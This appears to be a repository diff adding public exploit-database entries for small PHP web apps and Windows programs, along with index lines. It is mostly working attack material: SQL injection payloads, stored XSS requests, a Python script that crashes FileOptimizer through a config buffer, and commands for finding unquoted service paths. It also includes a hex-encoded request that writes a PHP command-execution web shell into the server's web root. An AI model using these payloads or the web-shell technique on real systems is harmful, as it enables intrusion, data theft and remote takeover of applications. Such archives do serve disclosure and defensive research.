# Type: UNION query
|
||||
# Title: Generic UNION query (NULL) - 5 columns
|
||||
# Vector: UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]
|
||||
|
||||
Payload: id=-4903' UNION ALL SELECT NULL,NULL,CONCAT(0x716a706b71,0x66766f636c546750775053685352676c4f70724d714c4b64494e755252765a626370615a565a4b49,0x717a6a7671),NULL,NULL-- hkoh
|
||||
26
exploits/php/webapps/47583.txt
Normal file
26
exploits/php/webapps/47583.txt
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# Exploit Title: thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting
|
||||
# Date: 2019-11-01
|
||||
# Exploit Author: Cakes
|
||||
# Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project
|
||||
# Software Link: https://github.com/thrsrossi/Millhouse-Project.git
|
||||
# Version: 1.414
|
||||
# Tested on: CentOS 7
|
||||
# CVE: N/A
|
||||
|
||||
# PoC for this XSS attack
|
||||
|
||||
POST /includes/add_comment_sql.php HTTP/1.1
|
||||
Host: TARGET
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://TARGET/views/single_post.php?post_id=53
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 59
|
||||
Cookie: PHPSESSID=0sqr9kui308rq66ol1uu5olb94; submenu1=block; showips=10; showurls=10; showreferers=10
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
DNT: 1
|
||||
|
||||
content=%3Cscript%3Ealert%28%22TEST%22%29%3B%3C%2Fscript%3E
|
||||
30
exploits/php/webapps/47585.txt
Normal file
30
exploits/php/webapps/47585.txt
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
# Exploit Title: rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection
|
||||
# Date: 2019-11-01
|
||||
# Exploit Author: Cakes
|
||||
# Vendor Homepage: https://github.com/rimbalinux/AhadPOS
|
||||
# Software Link: https://github.com/rimbalinux/AhadPOS.git
|
||||
# Version: 1.11
|
||||
# Tested on: CentOS 7
|
||||
# CVE: N/A
|
||||
|
||||
# PoC for time-based and boolean based blind SQL injection
|
||||
|
||||
# Parameter: alamatCustomer (POST)
|
||||
# Type: time-based blind
|
||||
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
|
||||
|
||||
Payload: namaCustomer=test&alamatCustomer=test'||(SELECT 0x4b686f74 FROM DUAL WHERE 8368=8368 AND (SELECT 9520 FROM (SELECT(SLEEP(5)))gtad))||'&telpCustomer=12312345&keterangan=tester
|
||||
|
||||
# Parameter: barcode (POST)
|
||||
# Type: boolean-based blind
|
||||
# Title: OR boolean-based blind - WHERE or HAVING clause
|
||||
# Vector: OR [INFERENCE]
|
||||
|
||||
Payload: barcode=-3529' OR 4127=4127-- HRDC&jumBarang=1&btnTambah=(t) Tambah
|
||||
|
||||
# Type: time-based blind
|
||||
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
|
||||
|
||||
Payload: barcode=123' AND (SELECT 1256 FROM (SELECT(SLEEP(5)))Nhnk)-- zXsC&jumBarang=1&btnTambah=(t) Tambah
|
||||
27
exploits/php/webapps/47587.txt
Normal file
27
exploits/php/webapps/47587.txt
Normal file
|
|
@ -0,0 +1,27 @@
|
|||
# Exploit Title: html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting
|
||||
# Date: 2019-11-01
|
||||
# Exploit Author: Cakes
|
||||
# Vendor Homepage: https://github.com/lolypop55/html5_snmp
|
||||
# Software Link: https://github.com/lolypop55/html5_snmp.git
|
||||
# Version: 1.11
|
||||
# Tested on: CentOS 7
|
||||
# CVE: N/A
|
||||
|
||||
# PoC
|
||||
|
||||
POST /add_router_operation.php HTTP/1.1
|
||||
Host: TARGET
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://TARGET/add_router.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 128
|
||||
Cookie: submenu1=block; showips=10; showurls=10; showreferers=10; PHPSESSID=9m6bv15esubafglv5cnbcha421
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
DNT: 1
|
||||
|
||||
|
||||
Router_ID=ID&Router_Name=Name&Router_IP=IP&String=STRING&Remark=%3Cscript%3Ealert%28%22test5%22%29%3B%3C%2Fscript%3E&Submit=Save
|
||||
57
exploits/php/webapps/47588.txt
Normal file
57
exploits/php/webapps/47588.txt
Normal file
|
|
@ -0,0 +1,57 @@
|
|||
# Exploit Title: html5_snmp 1.11 - 'Router_ID' SQL Injection
|
||||
# Date: 2019-11-01
|
||||
# Exploit Author: Cakes
|
||||
# Vendor Homepage: https://github.com/lolypop55/html5_snmp
|
||||
# Software Link: https://github.com/lolypop55/html5_snmp.git
|
||||
# Version: 1.11
|
||||
# Tested on: CentOS 7
|
||||
# CVE: N/A
|
||||
|
||||
# PoC for error, time, boolean and Union based SQL Injection
|
||||
|
||||
# Parameter: Router_ID (POST)
|
||||
# Type: error-based
|
||||
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
|
||||
# Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
|
||||
|
||||
Payload: Router_ID=123' AND (SELECT 9724 FROM(SELECT COUNT(*),CONCAT(0x716a7a7071,(SELECT (ELT(9724=9724,1))),0x71717a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'aJYp'='aJYp&Router_Name=123&Router_IP=123&String=123&Remark=123&Submit=Save
|
||||
|
||||
# Type: time-based blind
|
||||
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
|
||||
|
||||
Payload: Router_ID=123' AND (SELECT 7074 FROM (SELECT(SLEEP(5)))hDkA) AND 'koRt'='koRt&Router_Name=123&Router_IP=123&String=123&Remark=123&Submit=Save
|
||||
|
||||
# Parameter: Router_IP (GET)
|
||||
# Type: boolean-based blind
|
||||
# Title: AND boolean-based blind - WHERE or HAVING clause
|
||||
# Vector: AND [INFERENCE]
|
||||
|
||||
Payload: Router_IP=192.168.0.1' AND 3390=3390-- yUHk
|
||||
|
||||
# Type: time-based blind
|
||||
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
|
||||
|
||||
Payload: Router_IP=192.168.0.1' AND (SELECT 2831 FROM (SELECT(SLEEP(5)))SwFp)-- VukE
|
||||
|
||||
# Type: UNION query
|
||||
# Title: Generic UNION query (NULL) - 5 columns
|
||||
# Vector: UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL[GENERIC_SQL_COMMENT]
|
||||
|
||||
Payload: Router_IP=192.168.0.1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a787071,0x4f4f4e6c58704e78566b76576358564c4e5145575543435658706d4e50476d6a6c65505366497571,0x7170717671),NULL-- BEdT
|
||||
|
||||
# Pop a Shell :-)
|
||||
|
||||
GET /get_router_show.php?Router_IP=%27%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%30%78%33%33%63%33%66%37%30%36%38%37%30%32%30%32%34%36%33%36%64%36%34%32%30%33%64%32%30%37%33%36%38%36%35%36%63%36%63%35%66%36%35%37%38%36%35%36%33%32%38%32%34%35%66%34%37%34%35%35%34%35%62%32%37%36%33%36%64%36%34%32%37%35%64%32%39%33%62%32%30%36%35%36%33%36%38%36%66%32%30%32%34%36%33%36%64%36%34%33%62%32%30%33%66%33%65%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%20%49%4e%54%4f%20%44%55%4d%50%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%73%6e%6d%70%30%31%2f%75%70%6c%6f%61%64%73%2f%65%78%65%63%2e%70%68%70%27%2d%2d%20%44%52%74%66 HTTP/1.1
|
||||
Host: Target
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://Target/get_router.php
|
||||
Cookie: PHPSESSID=ii1kfjgplci8vbfep3ius67353
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
DNT: 1
|
||||
Cache-Control: max-age=0
|
||||
29
exploits/windows/dos/47586.py
Executable file
29
exploits/windows/dos/47586.py
Executable file
|
|
@ -0,0 +1,29 @@
|
|||
# Exploit Title: FileOptimizer 14.00.2524 - Denial of Service (PoC)
|
||||
# Date: 2019-11-04
|
||||
# Exploit Author: Chase Hatch (SYANiDE)
|
||||
# Vendor Homepage: https://sourceforge.net/projects/nikkhokkho/
|
||||
# Software Link: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/14.00.2524/FileOptimizerSetup.exe/download
|
||||
# Version: 14.00.2524
|
||||
# Tested on: Windows 7 Ultimate x86 SP0
|
||||
# CVE : none
|
||||
|
||||
## Steps to reproduce
|
||||
## Open application for the first time so it generates "FileOptimizer32.ini" in the install directory
|
||||
## Run the PoC
|
||||
## Open FileOptimizer again, navigating to "Optimize" / "Options".
|
||||
## Click OK to crash
|
||||
|
||||
#! /usr/bin/env python
|
||||
import os, sys, re
|
||||
|
||||
test="TempDirectory=" # variable/str in config file to replace with buffer
|
||||
dir = "C:\\Program Files\\FileOptimizer\\"
|
||||
file = "FileOptimizer32.ini"
|
||||
|
||||
sploit = "A"*5000
|
||||
|
||||
temp = open(dir+file,'r').read()
|
||||
temp2 = re.sub(test, test + sploit, temp)
|
||||
with open(dir+file,'w') as F:
|
||||
F.write(temp2)
|
||||
F.close()
|
||||
38
exploits/windows/local/47582.txt
Normal file
38
exploits/windows/local/47582.txt
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path
|
||||
# Date: 2019-11-09
|
||||
# Exploit Author: Diego Armando Buztamante Rico
|
||||
# Vendor Homepage: www.bluestacks.com
|
||||
# Software Link: www.bluestacks.com
|
||||
# Version: 2.4.44.62.57
|
||||
# Tested on: Windows 8.1 Pro
|
||||
# CVE: NA
|
||||
|
||||
#Description
|
||||
#Blue Stacks is an application which allows to run mobile apps on Windows and Mac.
|
||||
#The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app.
|
||||
#The service suffers from an unquoted path.
|
||||
|
||||
#PoC using CMD
|
||||
#Command to discover the unquoted path:
|
||||
|
||||
C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"
|
||||
|
||||
#As a result we have
|
||||
|
||||
BlueStacks Log Rotator Service BstHdLogRotatorSvc C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe Auto
|
||||
|
||||
#We use the name of service to get its information using next command.
|
||||
|
||||
C:\Users\user>sc qc BstHdLogRotatorSvc
|
||||
[SC] QueryServiceConfig CORRECTO
|
||||
|
||||
NOMBRE_SERVICIO: BstHdLogRotatorSvc
|
||||
TIPO : 10 WIN32_OWN_PROCESS
|
||||
TIPO_INICIO : 2 AUTO_START
|
||||
CONTROL_ERROR : 1 NORMAL
|
||||
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe
|
||||
GRUPO_ORDEN_CARGA :
|
||||
ETIQUETA : 0
|
||||
NOMBRE_MOSTRAR : BlueStacks Log Rotator Service
|
||||
DEPENDENCIAS :
|
||||
NOMBRE_INICIO_SERVICIO: LocalSystem
|
||||
25
exploits/windows/local/47584.txt
Normal file
25
exploits/windows/local/47584.txt
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
# Exploit Title: Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path
|
||||
# Date: 2019-11-04
|
||||
# Exploit Author: Samuel DiazL
|
||||
# Vendor Homepage: https://www.network-inventory-advisor.com/
|
||||
# Software Link: https://www.network-inventory-advisor.com/download.html
|
||||
# Version: 5.0.26.0
|
||||
# Tested on: Microsoft Windows 10 Enterprise x64 ESP
|
||||
# CVE: N/A
|
||||
|
||||
# Description:
|
||||
# Network Inventory Advisor installs niaservice as a service with an unquoted service path
|
||||
|
||||
C:\Users\SD502812>sc qc niaservice
|
||||
[SC] QueryServiceConfig CORRECTO
|
||||
|
||||
NOMBRE_SERVICIO: niaservice
|
||||
TIPO : 10 WIN32_OWN_PROCESS
|
||||
TIPO_INICIO : 2 AUTO_START
|
||||
CONTROL_ERROR : 0 IGNORE
|
||||
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ClearApps\Network Inventory Advisor\niaservice.exe
|
||||
GRUPO_ORDEN_CARGA :
|
||||
ETIQUETA : 0
|
||||
NOMBRE_MOSTRAR : Network Inventory Advisor Service by ClearApps Software
|
||||
DEPENDENCIAS :
|
||||
NOMBRE_INICIO_SERVICIO: LocalSystem
|
||||
|
|
@ -6585,6 +6585,10 @@ id,file,description,date,author,type,platform,port
|
|||
47563,exploits/windows/dos/47563.py,"WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Denial of Service",2019-10-30,"Nithoshitha S",dos,windows,
|
||||
47565,exploits/multiple/dos/47565.txt,"JavaScriptCore - GetterSetter Type Confusion During DFG Compilation",2019-10-30,"Google Security Research",dos,multiple,
|
||||
47578,exploits/macos/dos/47578.c,"Apple macOS 10.15.1 - Denial of Service (PoC)",2019-11-04,08Tc3wBB,dos,macos,
|
||||
47586,exploits/windows/dos/47586.py,"FileOptimizer 14.00.2524 - Denial of Service (PoC)",2019-11-05,SYANiDE,dos,windows,
|
||||
47590,exploits/multiple/dos/47590.txt,"JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects",2019-11-05,"Google Security Research",dos,multiple,
|
||||
47591,exploits/multiple/dos/47591.txt,"WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive",2019-11-05,"Google Security Research",dos,multiple,
|
||||
47592,exploits/macos/dos/47592.txt,"macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()",2019-11-05,"Google Security Research",dos,macos,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -10746,6 +10750,8 @@ id,file,description,date,author,type,platform,port
|
|||
47575,exploits/windows/local/47575.txt,"OpenVPN Connect 3.0.0.272 - 'agent_ovpnconnect' Unquoted Service Path",2019-11-04,"Luis Martínez",local,windows,
|
||||
47577,exploits/windows/local/47577.txt,"Launch Manager 6.1.7600.16385 - 'DsiWMIService' Unquoted Service Path",2019-11-04,"Gustavo Briseño",local,windows,
|
||||
47580,exploits/linux/local/47580.rb,"Micro Focus (HPE) Data Protector - SUID Privilege Escalation (Metasploit)",2019-11-04,Metasploit,local,linux,
|
||||
47582,exploits/windows/local/47582.txt,"Blue Stacks App Player 2.4.44.62.57 - _BstHdLogRotatorSvc_ Unquote Service Path",2019-11-05,"Diego Armando Buztamante Rico",local,windows,
|
||||
47584,exploits/windows/local/47584.txt,"Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path",2019-11-05,"Samuel DiazL",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -41897,3 +41903,9 @@ id,file,description,date,author,type,platform,port
|
|||
47569,exploits/php/webapps/47569.txt,"TheJshen contentManagementSystem 1.04 - 'id' SQL Injection",2019-11-01,cakes,webapps,php,
|
||||
47571,exploits/linux/webapps/47571.txt,"ownCloud 10.3.0 stable - Cross-Site Request Forgery",2019-11-01,"Ozer Goker",webapps,linux,
|
||||
47572,exploits/java/webapps/47572.py,"Apache Solr 8.2.0 - Remote Code Execution",2019-11-01,@l3x_wong,webapps,java,
|
||||
47581,exploits/php/webapps/47581.txt,"thejshen Globitek CMS 1.4 - 'id' SQL Injection",2019-11-05,cakes,webapps,php,80
|
||||
47583,exploits/php/webapps/47583.txt,"thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting",2019-11-05,cakes,webapps,php,80
|
||||
47585,exploits/php/webapps/47585.txt,"rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection",2019-11-05,cakes,webapps,php,80
|
||||
47587,exploits/php/webapps/47587.txt,"html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting",2019-11-05,cakes,webapps,php,80
|
||||
47588,exploits/php/webapps/47588.txt,"html5_snmp 1.11 - 'Router_ID' SQL Injection",2019-11-05,cakes,webapps,php,80
|
||||
47589,exploits/aspx/webapps/47589.txt,"SD.NET RIM 4.7.3c - 'idtyp' SQL Injection",2019-11-05,"Fabian Mosch_ Nick Theisinger",webapps,aspx,80
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue